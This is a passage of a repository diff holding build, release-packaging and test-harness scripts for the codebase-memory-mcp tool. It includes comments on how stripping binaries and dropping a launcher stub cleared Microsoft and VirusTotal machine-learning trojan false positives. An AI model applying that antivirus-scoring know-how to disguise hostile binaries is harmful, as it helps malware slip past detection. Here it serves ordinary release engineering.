echo "corpus: $(find "$CORPUS" -name '*.py' | wc -l | tr -d ' ') files"
|
||||
|
||||
# The Windows binary needs a native path here; an msys /c/... path is not one.
|
||||
if command -v cygpath >/dev/null 2>&1 && ! command -v winepath >/dev/null 2>&1; then
|
||||
mkdir -p "$WORK/cache"
|
||||
export CBM_CACHE_DIR="$(cygpath -w "$WORK/cache")"
|
||||
else
|
||||
export CBM_CACHE_DIR="$WORK/cache"
|
||||
fi
|
||||
export CBM_MEM_PROFILE=1
|
||||
export CBM_MEM_PROFILE_OUT="$PROFILE_OUT"
|
||||
export CBM_MEM_CENSUS=1
|
||||
export CBM_LOG_LEVEL=info
|
||||
export CBM_LOG_FORMAT=text
|
||||
mkdir -p "$CBM_CACHE_DIR"
|
||||
|
||||
# Drive the MCP stdio path via the request/response driver (see its header for
|
||||
# why batching into a closed stdin does not work).
|
||||
# The VM's python3 is a NATIVE win32 build, so it cannot open msys paths like
|
||||
# /c/Users/... . Hand it Windows paths, or it starts nothing and the failure
|
||||
# looks like the server closing stdout.
|
||||
DRIVE_BINARY="$BINARY"
|
||||
DRIVE_CORPUS="$CORPUS"
|
||||
DRIVE_STDERR="$WORK/server-stderr.log"
|
||||
if command -v cygpath >/dev/null 2>&1 && ! command -v winepath >/dev/null 2>&1; then
|
||||
DRIVE_BINARY="$(cygpath -w "$BINARY")"
|
||||
DRIVE_CORPUS="$(cygpath -w "$CORPUS")"
|
||||
DRIVE_STDERR="$(cygpath -w "$WORK/server-stderr.log")"
|
||||
fi
|
||||
python3 "$(dirname "$0")/memlab-drive.py" "$DRIVE_BINARY" "$DRIVE_CORPUS" "$REQUESTS" --tool "${MEMLAB_TOOL:-search_graph}" --idle-seconds "${MEMLAB_IDLE:-0}" --stderr "$DRIVE_STDERR" > "$WORK/drive.out" 2>&1
|
||||
RC=$?
|
||||
# With CBM_CACHE_DIR set the process logs to its own file rather than stderr,
|
||||
# so fold that in or the census series is invisible.
|
||||
cat "$WORK"/cache/logs/*.log >> "$RUN_LOG" 2>/dev/null || true
|
||||
cat "$WORK/server-stderr.log" >> "$RUN_LOG" 2>/dev/null || true
|
||||
RESPONSES=$(sed -n "s/.*served=\\([0-9]*\\).*/\\1/p" "$WORK/drive.out" | head -1); RESPONSES=${RESPONSES:-0}
|
||||
CENSUS=$(grep -c "mem.census" "$RUN_LOG" 2>/dev/null | head -1); CENSUS=${CENSUS:-0}
|
||||
SITES=$(grep -c '"site"' "$PROFILE_OUT" 2>/dev/null | head -1); SITES=${SITES:-0}
|
||||
|
||||
echo "exit=$RC responses=$RESPONSES census_samples=$CENSUS profile_records=$SITES"
|
||||
if [ "$RESPONSES" -eq 0 ]; then
|
||||
# A harness that hides why it failed is worse than no harness.
|
||||
echo "--- driver output ---" >&2
|
||||
cat "$WORK/drive.out" 2>/dev/null | tail -15 >&2
|
||||
fi
|
||||
if [ "$CENSUS" -eq 0 ]; then
|
||||
echo "WARN: no census samples — check CBM_MEM_CENSUS wiring" >&2
|
||||
fi
|
||||
if [ "$SITES" -eq 0 ]; then
|
||||
# Not fatal, but never silent: on macOS there is no --wrap, so the
|
||||
# profiler legitimately has no observation point.
|
||||
echo "WARN: no profiler records — expected on macOS (no --wrap); a gap anywhere else" >&2
|
||||
fi
|
||||
echo "profile: $PROFILE_OUT"
|
||||
echo "log: $RUN_LOG"
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,197 @@
|
||||
#!/usr/bin/env bash
|
||||
# package-release.sh — THE canonical release-archive step. Every venue that
|
||||
# turns built binaries into a release archive (release/_build.yml, the local
|
||||
# artifact-flow smoke lane) runs this file; workflows provide only
|
||||
# checkout/toolchain/upload around it. Archive names and contents are defined
|
||||
# HERE, nowhere else, so a local artifact smoke provably exercises the same
|
||||
# bytes-layout the release publishes.
|
||||
#
|
||||
# This script ARCHIVES what scripts/build.sh already produced — it never
|
||||
# builds the product itself (the Windows launcher image is the one deliberate
|
||||
# exception: it is part of the archive, not of the product build).
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/package-release.sh <goos> <goarch> [--variant standard|ui]
|
||||
[--out-dir DIR] [VAR=VAL ...]
|
||||
|
||||
The canonical release-archive step: identical in the release build and the
|
||||
local artifact-flow smoke lane.
|
||||
|
||||
goos linux | darwin | windows
|
||||
goarch arch label used verbatim in the archive name (amd64, arm64,
|
||||
arm64-portable, ...)
|
||||
--variant standard (default) | ui — selects the archive NAME prefix; the
|
||||
matching binary must already have been built (--with-ui for ui).
|
||||
--out-dir where to place the archive (default: repository root).
|
||||
|
||||
Make passthrough (VAR=VAL, forwarded to the build):
|
||||
CC= CXX= compiler override, e.g. CC=clang CXX=clang++.
|
||||
|
||||
Environment:
|
||||
BUILD_DIR build tree to archive from (default build/c).
|
||||
|
||||
Archive contents (defined here, canonical) — ONE binary per platform:
|
||||
unix: codebase-memory-mcp LICENSE install.sh THIRD_PARTY_NOTICES.md (.tar.gz)
|
||||
windows: codebase-memory-mcp.exe LICENSE install.ps1
|
||||
THIRD_PARTY_NOTICES.md (.zip)
|
||||
EOF
|
||||
}
|
||||
|
||||
GOOS=""
|
||||
GOARCH=""
|
||||
VARIANT="standard"
|
||||
OUT_DIR="$ROOT"
|
||||
MAKE_ARGS=()
|
||||
expect_value=""
|
||||
for arg in "$@"; do
|
||||
case "$expect_value" in
|
||||
variant) VARIANT="$arg"; expect_value=""; continue ;;
|
||||
out-dir) OUT_DIR="$arg"; expect_value=""; continue ;;
|
||||
esac
|
||||
case "$arg" in
|
||||
-h | --help) usage; exit 0 ;;
|
||||
--variant) expect_value="variant" ;;
|
||||
--variant=*) VARIANT="${arg#--variant=}" ;;
|
||||
--out-dir) expect_value="out-dir" ;;
|
||||
--out-dir=*) OUT_DIR="${arg#--out-dir=}" ;;
|
||||
-*)
|
||||
echo "package-release: unknown option '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
;;
|
||||
*=*) MAKE_ARGS+=("$arg") ;;
|
||||
*)
|
||||
if [ -z "$GOOS" ]; then GOOS="$arg"
|
||||
elif [ -z "$GOARCH" ]; then GOARCH="$arg"
|
||||
else
|
||||
echo "package-release: unexpected argument '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done
|
||||
[ -n "$GOOS" ] && [ -n "$GOARCH" ] || { usage >&2; exit 2; }
|
||||
case "$GOOS" in
|
||||
linux | darwin | windows) ;;
|
||||
*) echo "package-release: goos must be linux, darwin or windows." >&2; exit 2 ;;
|
||||
esac
|
||||
case "$VARIANT" in
|
||||
standard) SUFFIX="" ;;
|
||||
ui) SUFFIX="-ui" ;;
|
||||
*) echo "package-release: variant must be 'standard' or 'ui'." >&2; exit 2 ;;
|
||||
esac
|
||||
[ -n "$expect_value" ] && { echo "package-release: --$expect_value needs a value." >&2; exit 2; }
|
||||
|
||||
BUILD_DIR="${BUILD_DIR:-build/c}"
|
||||
OUT_DIR="$(mkdir -p "$OUT_DIR" && cd "$OUT_DIR" && pwd)"
|
||||
NAME="codebase-memory-mcp${SUFFIX}-${GOOS}-${GOARCH}"
|
||||
|
||||
# Ship every release binary stripped. Production already builds without -g, but
|
||||
# the linker still keeps a ~536 KB .symtab, so releases carried their full
|
||||
# symbol table to users: bigger downloads and a free map of the internals, with
|
||||
# nothing gained. Nothing symbolizes at runtime (mem_profile.c is not in the
|
||||
# production build and never calls backtrace_symbols), so this costs no
|
||||
# diagnostics.
|
||||
#
|
||||
# It also had a concrete cost. Microsoft's ML scored the unstripped linux-amd64
|
||||
# binary Trojan:Script/Wacatac.B!ml (1 engine of 62) and blocked release run
|
||||
# 30398064336 at the VirusTotal gate. That verdict is a decision-boundary
|
||||
# artifact rather than a property of the code -- the dry-run build two days
|
||||
# earlier is the same program plus 10 KB and scans clean, and the ui build of
|
||||
# the same commit was never flagged. Stripping removes the symbol surface those
|
||||
# models score and cleared BOTH flagged builds (Wacatac.B and Wacatac.C)
|
||||
# without changing what the program does.
|
||||
#
|
||||
# macOS is ad-hoc signed by the build workflow BEFORE this script runs, and
|
||||
# stripping invalidates that signature, so Mach-O is re-signed here. Skipping
|
||||
# the re-sign ships a binary the kernel refuses to exec.
|
||||
strip_release_binary() {
|
||||
local binary="$1"
|
||||
[ -f "$binary" ] || return 0
|
||||
# The right flags differ per format, and the WRONG ones fail silently in
|
||||
# the dangerous direction. Measured on the flagged darwin-arm64 artifact:
|
||||
#
|
||||
# llvm-strip --strip-all 373 symbols scanned CLEAN
|
||||
# strip (no flags) 378 symbols equivalent
|
||||
# strip -x -S 4058 symbols the state VirusTotal FLAGGED
|
||||
# strip -X / -u -r 4058 symbols likewise
|
||||
#
|
||||
# Apple's strip returns success for `-x -S`, so a helper that just tries
|
||||
# candidates until one exits 0 would quietly reship the flagged binary.
|
||||
# GNU/LLVM `--strip-all` is not even accepted by Apple's strip, which is why
|
||||
# generalising it to every platform broke the macOS build -- loudly, which
|
||||
# was the lucky outcome.
|
||||
#
|
||||
# So: --strip-all where it is understood, plain `strip` for Mach-O, and a
|
||||
# hard error when no candidate can do the job. Never a weaker fallback.
|
||||
local stripped=""
|
||||
for tool in "${STRIP:-}" llvm-strip strip; do
|
||||
[ -n "$tool" ] || continue
|
||||
command -v "$tool" >/dev/null 2>&1 || continue
|
||||
if "$tool" --strip-all "$binary" 2>/dev/null; then
|
||||
stripped="$tool --strip-all"
|
||||
elif [ "$GOOS" = "darwin" ] && "$tool" "$binary" 2>/dev/null; then
|
||||
stripped="$tool"
|
||||
fi
|
||||
[ -n "$stripped" ] && break
|
||||
done
|
||||
if [ -z "$stripped" ]; then
|
||||
echo "package-release: no working strip for $binary" >&2
|
||||
return 1
|
||||
fi
|
||||
if [ "$GOOS" = "darwin" ]; then
|
||||
command -v codesign >/dev/null 2>&1 &&
|
||||
codesign --sign - --force "$binary" 2>/dev/null
|
||||
fi
|
||||
echo "=== package-release: stripped $(basename "$binary") ==="
|
||||
return 0
|
||||
}
|
||||
|
||||
if [ "$GOOS" = "windows" ]; then
|
||||
# Windows ships ONE binary, exactly like every other platform. There is no
|
||||
# launcher stub: a small unsigned PE whose entire job is to verify and
|
||||
# execute another binary is statically indistinguishable from a dropper,
|
||||
# and Defender's ML scored it Trojan:Win32/Wacatac.B!ml on x64 regardless
|
||||
# of what we changed (bcrypt-free, stripped, versioned, and even
|
||||
# resource-free builds were all flagged, while the product binary itself
|
||||
# scans clean on every platform). Self-update — the launcher's whole reason
|
||||
# to exist — moves OUT of the running process into install.ps1: Windows'
|
||||
# executable lock only blocks a process from replacing ITSELF.
|
||||
PAYLOAD="$BUILD_DIR/codebase-memory-mcp"
|
||||
[ -f "${PAYLOAD}.exe" ] && PAYLOAD="${PAYLOAD}.exe"
|
||||
[ -f "$PAYLOAD" ] || { echo "package-release: build first; missing $PAYLOAD" >&2; exit 2; }
|
||||
PACK_DIR="$(mktemp -d "${TMPDIR:-/tmp}/cbm-package.XXXXXX")"
|
||||
trap 'rm -rf "$PACK_DIR"' EXIT
|
||||
cp "$PAYLOAD" "$PACK_DIR/codebase-memory-mcp.exe"
|
||||
strip_release_binary "$PACK_DIR/codebase-memory-mcp.exe" || exit 2
|
||||
# Gate the artifact AFTER strip: strip is the last byte-changing step, so
|
||||
# this inspects exactly what goes into the archive. Runs here rather than in
|
||||
# a workflow step so the local artifact-flow smoke enforces the same thing.
|
||||
scripts/ci/check-binary-composition.sh --variant="$VARIANT" \
|
||||
"$PACK_DIR/codebase-memory-mcp.exe" || exit 2
|
||||
cp LICENSE install.ps1 "$PACK_DIR/"
|
||||
scripts/gen-third-party-notices.sh "$PACK_DIR/THIRD_PARTY_NOTICES.md"
|
||||
(
|
||||
cd "$PACK_DIR"
|
||||
rm -f "$OUT_DIR/$NAME.zip"
|
||||
zip -q "$OUT_DIR/$NAME.zip" \
|
||||
codebase-memory-mcp.exe LICENSE install.ps1 THIRD_PARTY_NOTICES.md
|
||||
)
|
||||
echo "=== package-release: $OUT_DIR/$NAME.zip ==="
|
||||
else
|
||||
[ -f "$BUILD_DIR/codebase-memory-mcp" ] ||
|
||||
{ echo "package-release: build first; missing $BUILD_DIR/codebase-memory-mcp" >&2; exit 2; }
|
||||
strip_release_binary "$BUILD_DIR/codebase-memory-mcp" || exit 2
|
||||
scripts/ci/check-binary-composition.sh --variant="$VARIANT" \
|
||||
"$BUILD_DIR/codebase-memory-mcp" || exit 2
|
||||
cp LICENSE install.sh "$BUILD_DIR/"
|
||||
scripts/gen-third-party-notices.sh "$BUILD_DIR/THIRD_PARTY_NOTICES.md"
|
||||
tar -czf "$OUT_DIR/$NAME.tar.gz" -C "$BUILD_DIR" \
|
||||
codebase-memory-mcp LICENSE install.sh THIRD_PARTY_NOTICES.md
|
||||
echo "=== package-release: $OUT_DIR/$NAME.tar.gz ==="
|
||||
fi
|
||||
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env bash
|
||||
# Shared destructive-path validation for build/test/clean entrypoints.
|
||||
|
||||
cbm_require_safe_build_dir() {
|
||||
local build_dir="${1-}"
|
||||
local root="${2:-$PWD}"
|
||||
local leaf
|
||||
local physical_root
|
||||
local physical_build
|
||||
|
||||
# Keep cleanup targets to one ordinary repository-owned directory directly
|
||||
# beneath build/. Besides rejecting absolute and parent-relative paths,
|
||||
# the single-component rule prevents an intermediate symlink from routing
|
||||
# rm into a directory outside the repository.
|
||||
if [[ ! "$build_dir" =~ ^build/[A-Za-z0-9._-]+$ ]]; then
|
||||
echo "ERROR: BUILD_DIR must be one direct child of build/ (got '$build_dir')" >&2
|
||||
return 1
|
||||
fi
|
||||
leaf="${build_dir#build/}"
|
||||
if [[ "$leaf" == "." || "$leaf" == ".." ]]; then
|
||||
echo "ERROR: BUILD_DIR must name an ordinary build/ child (got '$build_dir')" >&2
|
||||
return 1
|
||||
fi
|
||||
if ! physical_root="$(cd "$root" 2>/dev/null && pwd -P)"; then
|
||||
echo "ERROR: repository root is missing or inaccessible" >&2
|
||||
return 1
|
||||
fi
|
||||
if [ -L "$physical_root/build" ] ||
|
||||
{ [ -e "$physical_root/build" ] && [ ! -d "$physical_root/build" ]; }; then
|
||||
echo "ERROR: repository build/ ancestor must be absent or a real directory" >&2
|
||||
return 1
|
||||
fi
|
||||
if [ -d "$physical_root/build" ]; then
|
||||
if ! physical_build="$(cd "$physical_root/build" 2>/dev/null && pwd -P)" ||
|
||||
[ "$physical_build" != "$physical_root/build" ]; then
|
||||
echo "ERROR: repository build/ ancestor resolves outside the repository" >&2
|
||||
return 1
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
cbm_remove_build_dir() {
|
||||
local root="${1-}"
|
||||
local build_dir="${2-}"
|
||||
local physical_root
|
||||
local leaf
|
||||
|
||||
cbm_require_safe_build_dir "$build_dir" "$root" || return 1
|
||||
physical_root="$(cd "$root" 2>/dev/null && pwd -P)" || return 1
|
||||
leaf="${build_dir#build/}"
|
||||
rm -rf -- "$physical_root/build/$leaf"
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
#!/usr/bin/env bash
|
||||
# repro.sh — Build + run the cumulative BUG-REPRODUCTION suite (test-repro).
|
||||
#
|
||||
# Unlike test.sh (the gating suite, must be GREEN), this suite is RED by design:
|
||||
# every case reproduces an open bug. So we distinguish two outcomes:
|
||||
# - BUILD/LINK failure → real breakage → exit non-zero (fail the CI job).
|
||||
# - Test redness → EXPECTED → report the count, exit 0 (green board).
|
||||
#
|
||||
# Usage: scripts/repro.sh [CC=clang] [CXX=clang++] [--arch arm64|x86_64]
|
||||
set -uo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
# --arch before sourcing env.sh (mirrors test.sh)
|
||||
prev_arg=""
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
arm64|x86_64) [[ "$prev_arg" == "--arch" ]] && export CBM_ARCH="$arg" ;;
|
||||
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
|
||||
esac
|
||||
prev_arg="$arg"
|
||||
done
|
||||
|
||||
# shellcheck source=env.sh
|
||||
source "$ROOT/scripts/env.sh"
|
||||
|
||||
MAKE_ARGS=""
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
CC=*|CXX=*) export "${arg?}" ;;
|
||||
--arch|--arch=*|arm64|x86_64) ;;
|
||||
*=*) MAKE_ARGS="$MAKE_ARGS $arg" ;;
|
||||
esac
|
||||
done
|
||||
|
||||
print_env "repro.sh"
|
||||
verify_compiler "$CC"
|
||||
|
||||
OUT="$ROOT/repro-out.txt"
|
||||
# A RED reproduction fails its assertion and returns EARLY — before any cleanup —
|
||||
# so LeakSanitizer would flag benign harness leaks on every red store-level test
|
||||
# and abort. The board's signal is the FAIL rows, not leak-cleanliness (the leak
|
||||
# BUG #581 gets a dedicated RSS-growth test, not LSan). Disable leak detection
|
||||
# only; ASan's real checks (use-after-free, overflow) stay ON.
|
||||
export ASAN_OPTIONS="detect_leaks=0${ASAN_OPTIONS:+:$ASAN_OPTIONS}"
|
||||
|
||||
# test-repro both builds and runs the runner; tolerate its non-zero (red) exit.
|
||||
set +e
|
||||
make -j"$NPROC" -f Makefile.cbm test-repro $MAKE_ARGS 2>&1 | tee "$OUT"
|
||||
set -e
|
||||
|
||||
# The runner prints a "<N> passed[, <M> failed]" summary line only if it actually
|
||||
# ran. No summary line ⇒ the build/link failed ⇒ real breakage.
|
||||
if ! grep -qE '[0-9]+ passed' "$OUT"; then
|
||||
echo "::error::bug-repro runner did not execute — build or link failure"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
reproduced=$(grep -oE '[0-9]+ failed' "$OUT" | head -1 | grep -oE '[0-9]+' || echo 0)
|
||||
green=$(grep -oE '[0-9]+ passed' "$OUT" | head -1 | grep -oE '[0-9]+' || echo 0)
|
||||
|
||||
{
|
||||
echo "## Bug-reproduction board — ${OS:-$(uname -s)} ${ARCH:-}"
|
||||
echo ""
|
||||
echo "- **${reproduced}** open bug(s) still reproduced (RED — expected)"
|
||||
echo "- **${green}** case(s) PASSING — candidate-fixed → verify + close the issue + promote the guard to the gating suite"
|
||||
} >> "${GITHUB_STEP_SUMMARY:-/dev/stderr}"
|
||||
|
||||
echo "=== bug-repro board: ${reproduced} reproduced (RED), ${green} passing (candidate-fixed) ==="
|
||||
# Green board: the suite ran. Redness is the data, not a job failure.
|
||||
exit 0
|
||||
@@ -0,0 +1,446 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Run one wave of C test suites without nested shell worker processes.
|
||||
|
||||
The caller owns suite selection, sharding, and final union/count checks. This
|
||||
helper owns native child processes directly, writes one result for every suite,
|
||||
and bounds a child that never exits. Keeping accounting in this single parent
|
||||
avoids an MSYS2 failure mode where a completed native child left its `bash -c`
|
||||
worker permanently stuck before the result append.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import pathlib
|
||||
import re
|
||||
import signal
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
SUITE_NAME = re.compile(r"^[a-z0-9_]+$")
|
||||
SUMMARY = re.compile(r"^ (?P<passed>[0-9]+) passed")
|
||||
FAILED = re.compile(r"(?:^|, )(?P<failed>[0-9]+) failed")
|
||||
SKIPPED = re.compile(r"(?:^|, )(?P<skipped>[0-9]+) skipped")
|
||||
SLOW_SUITES = frozenset(("incremental", "store_arch", "daemon_runtime"))
|
||||
POLL_SECONDS = 0.05
|
||||
|
||||
|
||||
@dataclass
|
||||
class ActiveSuite:
|
||||
name: str
|
||||
process: subprocess.Popen[bytes]
|
||||
log_path: pathlib.Path
|
||||
log_file: object
|
||||
started: float
|
||||
timeout: int
|
||||
|
||||
|
||||
def parse_args() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Run a bounded parallel wave of test-runner suites"
|
||||
)
|
||||
parser.add_argument("--suite-file", required=True, type=pathlib.Path)
|
||||
parser.add_argument("--log-dir", required=True, type=pathlib.Path)
|
||||
parser.add_argument("--results-file", required=True, type=pathlib.Path)
|
||||
parser.add_argument("--jobs", required=True, type=int)
|
||||
parser.add_argument("--timeout", required=True, type=int)
|
||||
parser.add_argument("--slow-timeout", required=True, type=int)
|
||||
parser.add_argument("--kill-grace", required=True, type=int)
|
||||
parser.add_argument(
|
||||
"--test-post-exit-barrier-dir",
|
||||
type=pathlib.Path,
|
||||
help=argparse.SUPPRESS,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--test-pre-terminate-barrier-dir",
|
||||
type=pathlib.Path,
|
||||
help=argparse.SUPPRESS,
|
||||
)
|
||||
parser.add_argument(
|
||||
"runner_command",
|
||||
nargs="+",
|
||||
help="runner executable and any fixed arguments; suite name is appended",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
for name in ("jobs", "timeout", "slow_timeout", "kill_grace"):
|
||||
if getattr(args, name) < 1:
|
||||
parser.error(f"--{name.replace('_', '-')} must be at least 1")
|
||||
return args
|
||||
|
||||
|
||||
def read_suites(path: pathlib.Path) -> list[str]:
|
||||
try:
|
||||
suites = path.read_text(encoding="utf-8").splitlines()
|
||||
except OSError as exc:
|
||||
raise RuntimeError(f"cannot read suite file {path}: {exc}") from exc
|
||||
malformed = [suite for suite in suites if SUITE_NAME.fullmatch(suite) is None]
|
||||
if malformed:
|
||||
raise RuntimeError(f"malformed suite name in {path}: {malformed[0]!r}")
|
||||
if len(set(suites)) != len(suites):
|
||||
raise RuntimeError(f"duplicate suite name in {path}")
|
||||
return suites
|
||||
|
||||
|
||||
def append_log(path: pathlib.Path, message: str) -> None:
|
||||
with path.open("a", encoding="utf-8", newline="\n") as stream:
|
||||
stream.write(message)
|
||||
stream.write("\n")
|
||||
|
||||
|
||||
def start_suite(
|
||||
suite: str,
|
||||
runner_command: list[str],
|
||||
log_dir: pathlib.Path,
|
||||
timeout: int,
|
||||
) -> ActiveSuite | None:
|
||||
log_path = log_dir / f"{suite}.log"
|
||||
log_file = log_path.open("wb")
|
||||
popen_args: dict[str, object] = {
|
||||
"stdout": log_file,
|
||||
"stderr": subprocess.STDOUT,
|
||||
}
|
||||
if os.name == "nt":
|
||||
popen_args["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
|
||||
else:
|
||||
popen_args["start_new_session"] = True
|
||||
try:
|
||||
process = subprocess.Popen(runner_command + [suite], **popen_args)
|
||||
except OSError as exc:
|
||||
log_file.close()
|
||||
append_log(log_path, f" FAIL: could not start suite {suite!r}: {exc}")
|
||||
return None
|
||||
return ActiveSuite(
|
||||
name=suite,
|
||||
process=process,
|
||||
log_path=log_path,
|
||||
log_file=log_file,
|
||||
started=time.monotonic(),
|
||||
timeout=timeout,
|
||||
)
|
||||
|
||||
|
||||
def windows_descendants(pid: int, timeout: int) -> bool:
|
||||
"""True if any live process still claims `pid` as its parent.
|
||||
|
||||
Used only when the suite leader has already exited: `taskkill /T` cannot
|
||||
walk a tree from a dead PID, so cleanup is proven by asking whether anything
|
||||
is still parented to it. One level deep on purpose -- Windows does not
|
||||
reparent orphans, so a grandchild keeps pointing at its own (dead) parent
|
||||
and would not be found here. That is a weaker proof than taskkill /T, which
|
||||
is why it is reserved for the case where the strong proof is impossible.
|
||||
"""
|
||||
try:
|
||||
completed = subprocess.run(
|
||||
[
|
||||
"powershell.exe",
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-Command",
|
||||
"@(Get-CimInstance Win32_Process -Filter "
|
||||
f"'ParentProcessId={pid}').Count",
|
||||
],
|
||||
check=False,
|
||||
stdin=subprocess.DEVNULL,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=timeout,
|
||||
)
|
||||
except (OSError, subprocess.TimeoutExpired):
|
||||
return True # cannot prove absence -> assume the worst
|
||||
if completed.returncode != 0:
|
||||
return True
|
||||
return (completed.stdout or "").strip() not in ("0", "")
|
||||
|
||||
|
||||
def terminate_process_tree(active: ActiveSuite, kill_grace: int) -> None:
|
||||
process = active.process
|
||||
leader_exited = process.poll() is not None
|
||||
if os.name == "nt":
|
||||
if leader_exited:
|
||||
# The leader can exit on its own between the timeout decision and
|
||||
# this call. Refusing outright made the harness itself lose a race:
|
||||
# a natural exit at the wrong moment failed the whole wave, which is
|
||||
# how a deliberately-hanging fixture suite reddened a release run.
|
||||
# taskkill /T cannot walk a tree from a dead PID, so prove cleanup
|
||||
# the only way still available -- nothing is parented to it.
|
||||
if windows_descendants(process.pid, kill_grace):
|
||||
raise RuntimeError(
|
||||
f"suite {active.name!r} leader exited leaving live descendants"
|
||||
)
|
||||
return
|
||||
try:
|
||||
completed = subprocess.run(
|
||||
[
|
||||
"taskkill.exe",
|
||||
"/PID",
|
||||
str(process.pid),
|
||||
"/T",
|
||||
"/F",
|
||||
],
|
||||
check=False,
|
||||
stdin=subprocess.DEVNULL,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
timeout=kill_grace,
|
||||
)
|
||||
except (OSError, subprocess.TimeoutExpired):
|
||||
completed = None
|
||||
if completed is None or completed.returncode != 0:
|
||||
if process.poll() is None:
|
||||
process.kill()
|
||||
try:
|
||||
process.wait(timeout=kill_grace)
|
||||
except subprocess.TimeoutExpired:
|
||||
pass
|
||||
raise RuntimeError(
|
||||
f"suite {active.name!r} taskkill could not prove process-tree cleanup"
|
||||
)
|
||||
try:
|
||||
process.wait(timeout=kill_grace)
|
||||
except subprocess.TimeoutExpired as exc:
|
||||
process.kill()
|
||||
raise RuntimeError(
|
||||
f"suite {active.name!r} process tree resisted forced termination"
|
||||
) from exc
|
||||
return
|
||||
|
||||
def group_active() -> bool:
|
||||
try:
|
||||
os.killpg(process.pid, 0)
|
||||
return True
|
||||
except ProcessLookupError:
|
||||
return False
|
||||
except PermissionError:
|
||||
return True
|
||||
|
||||
def wait_for_group_exit(deadline: float) -> bool:
|
||||
while time.monotonic() < deadline:
|
||||
process.poll()
|
||||
if not group_active():
|
||||
return True
|
||||
time.sleep(POLL_SECONDS)
|
||||
process.poll()
|
||||
return not group_active()
|
||||
|
||||
try:
|
||||
os.killpg(process.pid, signal.SIGTERM)
|
||||
except ProcessLookupError:
|
||||
return
|
||||
if wait_for_group_exit(time.monotonic() + kill_grace):
|
||||
return
|
||||
try:
|
||||
os.killpg(process.pid, signal.SIGKILL)
|
||||
except ProcessLookupError:
|
||||
return
|
||||
if wait_for_group_exit(time.monotonic() + kill_grace):
|
||||
return
|
||||
raise RuntimeError(
|
||||
f"suite {active.name!r} process group persisted after forced termination"
|
||||
)
|
||||
|
||||
|
||||
def wait_for_test_pre_terminate_barrier(
|
||||
barrier_dir: pathlib.Path | None,
|
||||
active: ActiveSuite,
|
||||
) -> None:
|
||||
if barrier_dir is None:
|
||||
return
|
||||
hold = barrier_dir / f"{active.name}.hold"
|
||||
if not hold.exists():
|
||||
return
|
||||
ready = barrier_dir / f"{active.name}.ready"
|
||||
leader_exited = barrier_dir / f"{active.name}.leader-exited"
|
||||
release = barrier_dir / f"{active.name}.release"
|
||||
ready.write_text(f"{active.process.pid}\n", encoding="utf-8")
|
||||
deadline = time.monotonic() + 10
|
||||
while not release.exists():
|
||||
returncode = active.process.poll()
|
||||
if returncode is not None and not leader_exited.exists():
|
||||
leader_exited.write_text(f"{returncode}\n", encoding="utf-8")
|
||||
if time.monotonic() >= deadline:
|
||||
raise RuntimeError(
|
||||
f"test pre-terminate barrier for {active.name!r} was not released"
|
||||
)
|
||||
time.sleep(POLL_SECONDS)
|
||||
|
||||
|
||||
def wait_for_test_post_exit_barrier(
|
||||
barrier_dir: pathlib.Path | None,
|
||||
suite: str,
|
||||
) -> None:
|
||||
if barrier_dir is None:
|
||||
return
|
||||
hold = barrier_dir / f"{suite}.hold"
|
||||
if not hold.exists():
|
||||
return
|
||||
ready = barrier_dir / f"{suite}.ready"
|
||||
release = barrier_dir / f"{suite}.release"
|
||||
ready.write_text("child exited; result intentionally not recorded\n", encoding="utf-8")
|
||||
deadline = time.monotonic() + 10
|
||||
while not release.exists():
|
||||
if time.monotonic() >= deadline:
|
||||
raise RuntimeError(f"test post-exit barrier for {suite!r} was not released")
|
||||
time.sleep(POLL_SECONDS)
|
||||
|
||||
|
||||
def parse_summary(log_path: pathlib.Path) -> tuple[int, int, int] | None:
|
||||
try:
|
||||
stream = log_path.open(encoding="utf-8", errors="replace")
|
||||
except OSError as exc:
|
||||
raise RuntimeError(f"cannot read suite log {log_path}: {exc}") from exc
|
||||
last_summary = None
|
||||
with stream:
|
||||
for line in stream:
|
||||
match = SUMMARY.match(line)
|
||||
if match is None:
|
||||
continue
|
||||
failed = FAILED.search(line)
|
||||
skipped = SKIPPED.search(line)
|
||||
last_summary = (
|
||||
int(match.group("passed")),
|
||||
int(failed.group("failed")) if failed is not None else 0,
|
||||
int(skipped.group("skipped")) if skipped is not None else 0,
|
||||
)
|
||||
return last_summary
|
||||
|
||||
|
||||
def record_result(
|
||||
active: ActiveSuite,
|
||||
returncode: int,
|
||||
results_file: pathlib.Path,
|
||||
timed_out: bool,
|
||||
) -> None:
|
||||
active.log_file.close()
|
||||
elapsed = max(0, int(time.monotonic() - active.started))
|
||||
if timed_out:
|
||||
returncode = 124
|
||||
append_log(
|
||||
active.log_path,
|
||||
f" FAIL: suite {active.name!r} exceeded {active.timeout}s wall clock "
|
||||
"(killed as hung)",
|
||||
)
|
||||
summary = parse_summary(active.log_path)
|
||||
if returncode == 0 and summary is None:
|
||||
returncode = 97
|
||||
append_log(
|
